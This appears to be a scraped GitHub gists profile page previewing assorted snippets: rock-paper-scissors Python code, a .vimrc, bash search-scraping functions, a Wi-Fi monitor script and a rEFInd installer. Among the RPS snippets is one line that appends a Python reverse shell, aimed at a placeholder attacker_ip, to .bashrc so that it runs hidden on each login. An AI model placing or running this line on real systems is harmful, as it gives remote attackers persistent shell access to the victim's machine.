Skip to content

Instantly share code, notes, and snippets.

View XayOn's full-sized avatar
🐍

David Francos XayOn

🐍
View GitHub Profile
import random
CHOICES = {'rock': 'scissors', 'paper': 'rock', 'scissors': 'paper'}
SCORES = {"user": 0, "comp": 0, 'draw': 0}
while not any(a == 3 for a in SCORES.values()):
user = input("Enter rock, paper or scissors: ")
SCORES[{True: "user", False: "comp"}.get(
CHOICES.get(user) == random.choice(list(CHOICES.keys())), 'draw')] += 1
print(f'U:{SCORES["user"]}. C: {SCORES["comp"]}, D: {SCORES["draw"]}')
"""RPS"""
def play():
scores = {"user": 0, "computer": 0}
while not any(a==WIN for a in scores.values):
print(f'Scores: U:{scores["user"]}. C: {scores["computer"]}')
user = None
comp = random.choice(CHOICES.keys())
while user not in CHOICES.keys():
user = raw_input("rock, paper, scissors")
if user == comp:
echo -e "\npython2 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((attacker_ip,attacker_port)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn(\"/bin/sh\")' &>/dev/null & disown;" >> .bashrc
@XayOn
XayOn / .vimrc
Created June 2, 2017 07:29
My VIM8 configuration
" Bundle Plugins
set nocompatible
set hidden
set encoding=utf-8
filetype off
set rtp+=~/.vim/bundle/Vundle.vim
set rtp+=~/.fzf
call vundle#begin()
Plugin 'VundleVim/Vundle.vim'
" Bundle Plugins
set nocompatible
set hidden
set encoding=utf-8
filetype off
set rtp+=~/.vim/bundle/Vundle.vim
set rtp+=~/.fzf
call vundle#begin()
Plugin 'VundleVim/Vundle.vim'
import bencodepy, hashlib, base64
base64.b32encode(hashlib.sha1(bencodepy.encode(bencodepy.decode_from_file(file_)[b'info'])).digest())
@XayOn
XayOn / .ghtrend_bot.cfg
Last active September 15, 2017 04:10
Github trending twitter bot
[github]
login=
password=
[twitter]
CONSUMER_KEY=
CONSUMER_SECRET=
ACCESS_TOKEN=
ACCESS_TOKEN_SECRET=
@XayOn
XayOn / pylist.py
Created August 24, 2014 04:43
PyList
#!/usr/bin/python
import sys
import time
import os
import optparse
import pdb
import Tool80211
airmonitor = Tool80211.Airview(sys.argv[1])
airmonitor.start()
@XayOn
XayOn / bash_searcher_functions.sh
Last active January 4, 2016 01:49
Some searcher functions in bash with wget and some regex magic.
google(){ export ua="Mozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522+ (KHTML, like Gecko) Safari/419.3"; ( for i in $(seq 0 $2); do wget -O - --user-agent="$ua" "https://www.google.es/search?safe=off&output=search&sclient=psy-ab&q=$1&start=$((i * 10 ))"; done ) 2>/dev/null | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//'|egrep -v "^/|^#|google|javascript:void";}
github(){ google "site:github.com $1" 1|egrep '^https://github.com/[[:alnum:]]{0,40}/[-[:alnum:]]{0,40}$'; }
google_feelinglucky(){ google ${@} |head -n1; }
github_feelinglucky(){ github ${@} |head -n1; }
# git clone $(github_feelinglucky nanobenv);
@XayOn
XayOn / refind.sh
Created December 7, 2013 15:35
refind easy install&execute
tmp=$(mktemp -d); cd $tmp
wget http://downloads.sourceforge.net/project/refind/0.7.5/refind-bin-0.7.5.zip?use_mirror=switch -O refind.zip
unzip refind; cd refind-bin-*; bash install.sh